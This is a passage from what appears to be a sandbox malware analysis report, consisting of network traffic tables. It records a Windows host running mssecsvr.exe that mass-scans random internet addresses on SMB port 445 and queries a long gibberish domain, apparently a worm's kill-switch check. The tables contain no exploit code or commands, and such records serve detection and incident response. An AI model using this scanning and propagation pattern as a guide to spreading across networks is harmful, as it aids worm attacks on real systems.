Jul 20, 2022 19:34:44.304903984 CEST	64811	445	192.168.2.7	10.12.152.71
Jul 20, 2022 19:34:44.305046082 CEST	64812	445	192.168.2.7	142.253.151.186
Jul 20, 2022 19:34:44.305304050 CEST	64807	445	192.168.2.7	140.215.126.118
Jul 20, 2022 19:34:44.305924892 CEST	64814	445	192.168.2.7	63.32.174.14
Jul 20, 2022 19:34:44.305926085 CEST	64824	445	192.168.2.7	83.99.185.80
Jul 20, 2022 19:34:44.305963993 CEST	64825	445	192.168.2.7	193.143.212.27
Jul 20, 2022 19:34:44.306320906 CEST	64827	445	192.168.2.7	89.128.94.196
Jul 20, 2022 19:34:44.306807041 CEST	64833	445	192.168.2.7	2.199.152.39
Jul 20, 2022 19:34:44.307050943 CEST	64837	445	192.168.2.7	144.155.250.113
Jul 20, 2022 19:34:44.307143927 CEST	64838	445	192.168.2.7	134.222.72.204
Jul 20, 2022 19:34:44.307429075 CEST	64843	445	192.168.2.7	57.175.218.69
Jul 20, 2022 19:34:44.307522058 CEST	64845	445	192.168.2.7	68.91.95.136
Jul 20, 2022 19:34:44.395761013 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.395947933 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.396672964 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.396806002 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.408859015 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.409037113 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.409775019 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.409903049 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.437378883 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.437383890 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.437441111 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.437448978 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.437721968 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.437824011 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.439805984 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.439856052 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.439862967 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.439929008 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.439954996 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.440032959 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.614696026 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.614728928 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.614769936 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.614815950 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.614818096 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.614871979 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.615233898 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.615266085 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.615281105 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.615289927 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.622107983 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.622143030 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.622184992 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.622208118 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.622258902 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.622313023 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.622668028 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.622683048 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:45.048332930 CEST	64850	445	192.168.2.7	131.153.221.109
Jul 20, 2022 19:34:45.062465906 CEST	445	64326	120.118.247.184	192.168.2.7
Jul 20, 2022 19:34:45.080146074 CEST	64851	445	192.168.2.7	121.3.139.106
Jul 20, 2022 19:34:45.080497026 CEST	64852	445	192.168.2.7	51.158.189.154
Jul 20, 2022 19:34:45.173852921 CEST	64853	445	192.168.2.7	213.142.151.131
Jul 20, 2022 19:34:45.423360109 CEST	64859	445	192.168.2.7	37.10.243.198
Jul 20, 2022 19:34:45.423588991 CEST	64857	445	192.168.2.7	92.100.14.169
Jul 20, 2022 19:34:45.424837112 CEST	64875	445	192.168.2.7	165.191.70.59
Jul 20, 2022 19:34:45.425231934 CEST	64878	445	192.168.2.7	167.211.163.237
Jul 20, 2022 19:34:45.425368071 CEST	64882	445	192.168.2.7	210.224.190.197
Jul 20, 2022 19:34:45.425525904 CEST	64884	445	192.168.2.7	47.45.89.186
Jul 20, 2022 19:34:45.425616980 CEST	64885	445	192.168.2.7	4.200.29.69
Jul 20, 2022 19:34:45.425775051 CEST	64887	445	192.168.2.7	213.78.7.218
Jul 20, 2022 19:34:45.426175117 CEST	64888	445	192.168.2.7	17.63.238.52
Jul 20, 2022 19:34:45.426446915 CEST	64898	445	192.168.2.7	25.237.107.71
Jul 20, 2022 19:34:45.426733017 CEST	64900	445	192.168.2.7	105.76.207.138
Jul 20, 2022 19:34:45.426965952 CEST	64902	445	192.168.2.7	20.10.207.169
Jul 20, 2022 19:34:45.427360058 CEST	64908	445	192.168.2.7	152.129.129.59
Jul 20, 2022 19:34:45.427396059 CEST	64910	445	192.168.2.7	97.182.169.64
Jul 20, 2022 19:34:45.427690983 CEST	64913	445	192.168.2.7	51.153.9.129
Jul 20, 2022 19:34:45.428296089 CEST	64920	445	192.168.2.7	204.139.8.188
Jul 20, 2022 19:34:45.428901911 CEST	64932	445	192.168.2.7	109.105.112.13
Jul 20, 2022 19:34:45.428951025 CEST	64933	445	192.168.2.7	25.97.97.15
Jul 20, 2022 19:34:45.429112911 CEST	64936	445	192.168.2.7	51.220.189.11
Jul 20, 2022 19:34:45.429639101 CEST	64919	445	192.168.2.7	114.215.69.195
Jul 20, 2022 19:34:45.429657936 CEST	64948	445	192.168.2.7	119.225.77.214
Jul 20, 2022 19:34:45.430243015 CEST	64960	445	192.168.2.7	186.201.99.123
Jul 20, 2022 19:34:45.430685997 CEST	64966	445	192.168.2.7	62.102.36.197
Jul 20, 2022 19:34:45.430946112 CEST	64970	445	192.168.2.7	203.191.158.231
Jul 20, 2022 19:34:45.431138039 CEST	64973	445	192.168.2.7	131.91.252.50
Jul 20, 2022 19:34:45.434209108 CEST	64974	445	192.168.2.7	61.162.90.102
Jul 20, 2022 19:34:45.992928982 CEST	64977	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:45.992969036 CEST	443	64977	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:45.993041992 CEST	64977	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:45.993691921 CEST	64977	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:45.993709087 CEST	443	64977	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:46.142841101 CEST	64978	445	192.168.2.7	131.153.221.110
Jul 20, 2022 19:34:46.144660950 CEST	443	64977	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:46.145261049 CEST	64977	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:46.145292044 CEST	443	64977	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:46.146377087 CEST	64977	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:46.146392107 CEST	443	64977	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:46.146419048 CEST	64977	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:46.146428108 CEST	443	64977	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:46.157778978 CEST	64979	445	192.168.2.7	121.3.139.107
Jul 20, 2022 19:34:46.157892942 CEST	64980	445	192.168.2.7	51.158.189.155
Jul 20, 2022 19:34:46.251298904 CEST	64981	445	192.168.2.7	213.142.151.132

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 19:30:09.214171886 CEST	63557	53	192.168.2.7	8.8.8.8
Jul 20, 2022 19:30:09.231604099 CEST	53	63557	8.8.8.8	192.168.2.7
Jul 20, 2022 19:30:10.605118036 CEST	60996	53	192.168.2.7	8.8.8.8
Jul 20, 2022 19:30:11.611396074 CEST	60996	53	192.168.2.7	8.8.8.8
Jul 20, 2022 19:30:12.137675047 CEST	50519	53	192.168.2.7	8.8.8.8
Jul 20, 2022 19:30:12.159507990 CEST	53	50519	8.8.8.8	192.168.2.7
Jul 20, 2022 19:30:12.626621008 CEST	60996	53	192.168.2.7	8.8.8.8
Jul 20, 2022 19:30:12.645865917 CEST	53	60996	8.8.8.8	192.168.2.7
Jul 20, 2022 19:30:12.792205095 CEST	53	60996	8.8.8.8	192.168.2.7
Jul 20, 2022 19:30:13.644156933 CEST	53	60996	8.8.8.8	192.168.2.7
Jul 20, 2022 19:30:28.503863096 CEST	138	138	192.168.2.7	192.168.2.255
Jul 20, 2022 19:34:25.993583918 CEST	138	138	192.168.2.7	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 20, 2022 19:30:12.792288065 CEST	192.168.2.7	8.8.8.8	d018	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:30:13.644320965 CEST	192.168.2.7	8.8.8.8	d018	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:30:34.871571064 CEST	91.240.210.54	192.168.2.7	202a	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:30:35.873235941 CEST	84.159.100.55	192.168.2.7	c7bb	(Unknown)	Destination Unreachable
Jul 20, 2022 19:30:38.743735075 CEST	199.115.23.1	192.168.2.7	5aee	(Unknown)	Destination Unreachable
Jul 20, 2022 19:30:44.624006987 CEST	24.43.183.178	192.168.2.7	fca9	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:30:54.674153090 CEST	81.97.95.34	192.168.2.7	8b1e	(Unknown)	Destination Unreachable
Jul 20, 2022 19:30:56.362145901 CEST	72.46.181.194	192.168.2.7	d072	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:30:56.459829092 CEST	41.201.30.85	192.168.2.7	66a4	(Unknown)	Destination Unreachable
Jul 20, 2022 19:30:57.124248028 CEST	121.254.224.58	192.168.2.7	1a05	(Unknown)	Destination Unreachable
Jul 20, 2022 19:30:57.132891893 CEST	212.149.139.207	192.168.2.7	c016	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:31:01.699970961 CEST	109.11.52.220	192.168.2.7	e325	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:31:12.424823046 CEST	81.228.85.155	192.168.2.7	4100	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:16.961764097 CEST	77.0.188.149	192.168.2.7	e11f	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:22.392807961 CEST	193.99.214.4	192.168.2.7	faec	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:31:25.856558084 CEST	209.221.27.243	192.168.2.7	93df	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:29.371454000 CEST	8.2.2.2	192.168.2.7	49c4	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:31:34.359817982 CEST	172.16.238.178	192.168.2.7	5a68	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:31:36.030071974 CEST	178.7.220.66	192.168.2.7	a803	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:36.283538103 CEST	202.154.215.186	192.168.2.7	b491	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:31:42.806797981 CEST	93.198.103.182	192.168.2.7	e9fe	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:42.991053104 CEST	177.233.2.42	192.168.2.7	aff9	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:31:47.459723949 CEST	74.199.176.110	192.168.2.7	c751	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:49.551829100 CEST	90.186.16.33	192.168.2.7	2995	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:49.636560917 CEST	71.7.230.155	192.168.2.7	ed6b	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:49.784292936 CEST	112.76.230.194	192.168.2.7	6e20	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:31:50.495956898 CEST	46.36.32.78	192.168.2.7	132e	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:31:51.814275980 CEST	2.207.123.131	192.168.2.7	f79b	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:54.434828997 CEST	37.111.87.254	192.168.2.7	44cd	(Unknown)	Destination Unreachable
Jul 20, 2022 19:31:58.274457932 CEST	213.142.151.53	192.168.2.7	2c90	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:03.302431107 CEST	213.142.151.56	192.168.2.7	2c93	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:03.501533031 CEST	87.181.183.40	192.168.2.7	cf2c	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:04.660512924 CEST	5.56.18.166	192.168.2.7	efd1	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:04.772910118 CEST	139.60.167.2	192.168.2.7	29f6	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:32:08.611783981 CEST	61.209.2.3	192.168.2.7	781a	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:32:09.544676065 CEST	85.38.36.102	192.168.2.7	d7a4	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:32:16.877350092 CEST	193.238.71.142	192.168.2.7	4923	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:32:18.589235067 CEST	193.240.86.158	192.168.2.7	7a04	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:32:20.492496967 CEST	121.78.120.234	192.168.2.7	8788	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:32:21.297063112 CEST	149.14.159.114	192.168.2.7	dec4	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:25.886105061 CEST	81.228.78.238	192.168.2.7	f81f	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:29.415887117 CEST	217.91.38.2	192.168.2.7	115b	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:31.498764992 CEST	149.11.89.129	192.168.2.7	ce92	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:32:31.864164114 CEST	189.8.81.218	192.168.2.7	e991	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:32:33.920051098 CEST	109.192.232.55	192.168.2.7	3564	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:35.724667072 CEST	66.119.206.2	192.168.2.7	a70	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:32:37.091411114 CEST	41.222.88.218	192.168.2.7	7083	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:32:37.386514902 CEST	223.118.10.86	192.168.2.7	9db4	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:32:37.880295038 CEST	112.215.81.74	192.168.2.7	44ce	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:32:39.231380939 CEST	43.255.166.202	192.168.2.7	36ec	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:32:41.159823895 CEST	192.168.2.7	8.8.8.8	d045	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:32:42.184621096 CEST	83.169.170.6	192.168.2.7	7e89	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:32:42.600655079 CEST	149.11.89.129	192.168.2.7	8c0a	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:32:44.938086987 CEST	83.166.8.226	192.168.2.7	fbef	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:32:45.085448027 CEST	185.48.10.249	192.168.2.7	1e54	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:32:45.891582966 CEST	213.142.151.84	192.168.2.7	2caf	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:47.135001898 CEST	89.183.62.91	192.168.2.7	1427	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:49.410271883 CEST	5.56.18.166	192.168.2.7	e61f	(Unknown)	Destination Unreachable
Jul 20, 2022 19:32:51.323275089 CEST	144.139.157.218	192.168.2.7	ee3a	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:32:53.918632984 CEST	82.113.194.253	192.168.2.7	96da	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:33:01.042609930 CEST	69.35.204.57	192.168.2.7	97ad	(Net unreachable)	Destination Unreachable
Jul 20, 2022 19:33:04.187973976 CEST	93.223.67.30	192.168.2.7	626d	(Unknown)	Destination Unreachable
Jul 20, 2022 19:33:06.821502924 CEST	173.245.240.130	192.168.2.7	f0c5	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:33:08.810904980 CEST	212.64.168.14	192.168.2.7	3d11	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:33:11.390525103 CEST	130.158.227.66	192.168.2.7	25ad	(Unknown)	Destination Unreachable
Jul 20, 2022 19:33:11.745616913 CEST	83.169.172.52	192.168.2.7	99e5	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:33:13.337815046 CEST	149.11.37.138	192.168.2.7	f70	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:33:16.706592083 CEST	194.44.212.10	192.168.2.7	413c	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:33:21.936379910 CEST	12.126.113.158	192.168.2.7	f0d4	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:33:24.822926998 CEST	93.159.116.155	192.168.2.7	f535	(Unknown)	Destination Unreachable
Jul 20, 2022 19:33:28.491602898 CEST	38.88.7.9	192.168.2.7	282c	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:33:29.131666899 CEST	181.176.165.221	192.168.2.7	794	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:33:29.641067028 CEST	156.101.190.4	192.168.2.7	5f37	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:33:33.601811886 CEST	93.40.27.103	192.168.2.7	b935	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:33:34.904167891 CEST	213.142.151.100	192.168.2.7	2cbf	(Unknown)	Destination Unreachable
Jul 20, 2022 19:33:39.167861938 CEST	200.63.144.97	192.168.2.7	883d	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:33:40.402363062 CEST	91.206.46.6	192.168.2.7	49b7	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:33:41.532536030 CEST	95.17.24.52	192.168.2.7	4cd3	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:33:41.567715883 CEST	89.75.2.1	192.168.2.7	955c	(Unknown)	Destination Unreachable
Jul 20, 2022 19:33:45.165062904 CEST	104.34.247.173	192.168.2.7	1f99	(Unknown)	Destination Unreachable
Jul 20, 2022 19:33:53.411145926 CEST	50.242.148.249	192.168.2.7	834c	(Unknown)	Destination Unreachable
Jul 20, 2022 19:33:55.979717016 CEST	87.215.129.25	192.168.2.7	a914	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:33:56.379309893 CEST	51.158.189.113	192.168.2.7	fe5f	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:05.074213982 CEST	177.85.120.25	192.168.2.7	e9c0	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:34:05.944617987 CEST	10.10.4.62	192.168.2.7	afee	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:34:10.890353918 CEST	131.153.221.91	192.168.2.7	20be	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:11.972881079 CEST	131.153.221.92	192.168.2.7	20bf	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:12.993020058 CEST	95.91.220.76	192.168.2.7	94b0	(Port unreachable)	Destination Unreachable
Jul 20, 2022 19:34:13.244966030 CEST	69.66.2.66	192.168.2.7	713a	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:14.404558897 CEST	38.103.151.14	192.168.2.7	7d41	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:14.468467951 CEST	89.245.109.82	192.168.2.7	177d	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:17.899504900 CEST	10.77.2.1	192.168.2.7	588d	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:34:19.585689068 CEST	88.134.218.227	192.168.2.7	d5bc	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:34:21.519028902 CEST	87.168.251.77	192.168.2.7	bc9c	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:22.638133049 CEST	92.218.52.120	192.168.2.7	860	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:24.582859993 CEST	10.13.5.18	192.168.2.7	48fb	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:34:31.832700968 CEST	200.61.128.247	192.168.2.7	c7f0	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:34:37.090399981 CEST	190.196.23.156	192.168.2.7	f912	(Host unreachable)	Destination Unreachable
Jul 20, 2022 19:34:37.714931011 CEST	38.140.177.34	192.168.2.7	6a92	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:39.844197035 CEST	91.40.22.33	192.168.2.7	14e6	(Unknown)	Destination Unreachable
Jul 20, 2022 19:34:42.086675882 CEST	77.111.239.199	192.168.2.7	8cac	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:34:43.214320898 CEST	82.150.36.2	192.168.2.7	65d6	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:34:43.250725031 CEST	10.220.8.1	192.168.2.7	9a75	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 19:34:44.015248060 CEST	88.86.96.167	192.168.2.7	974b	(Host unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 20, 2022 19:30:09.214171886 CEST	192.168.2.7	8.8.8.8	0x4307	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 19:30:10.605118036 CEST	192.168.2.7	8.8.8.8	0x59af	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 19:30:11.611396074 CEST	192.168.2.7	8.8.8.8	0x59af	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 19:30:12.137675047 CEST	192.168.2.7	8.8.8.8	0x85ac	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)
Jul 20, 2022 19:30:12.626621008 CEST	192.168.2.7	8.8.8.8	0x59af	Standard query (0)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 20, 2022 19:30:09.231604099 CEST	8.8.8.8	192.168.2.7	0x4307	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 19:30:12.159507990 CEST	8.8.8.8	192.168.2.7	0x85ac	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 19:30:12.645865917 CEST	8.8.8.8	192.168.2.7	0x59af	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 19:30:12.792205095 CEST	8.8.8.8	192.168.2.7	0x59af	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)
Jul 20, 2022 19:30:13.644156933 CEST	8.8.8.8	192.168.2.7	0x59af	Server failure (2)	www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

arc.msn.com

www.bing.com

img-prod-cms-rt-microsoft-com.akamaized.net

sls.update.microsoft.com

ris.api.iris.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49722	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49723	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	50179	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	45.60.207.5	445	192.168.2.7	54491	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:41.505292892 CEST	9986	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 14-185756604-0 0NNN RT(1658338360667 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 31 38 35 37 35 36 36 30 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 36 30 36 36 37 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 39 32 36 34 38 32 30 31 35 35 37 33 32 34 39 36 31 34 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 39 32 36 34 38 32 30 31 35 35 37 33 32 34 39 36 31 34 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" 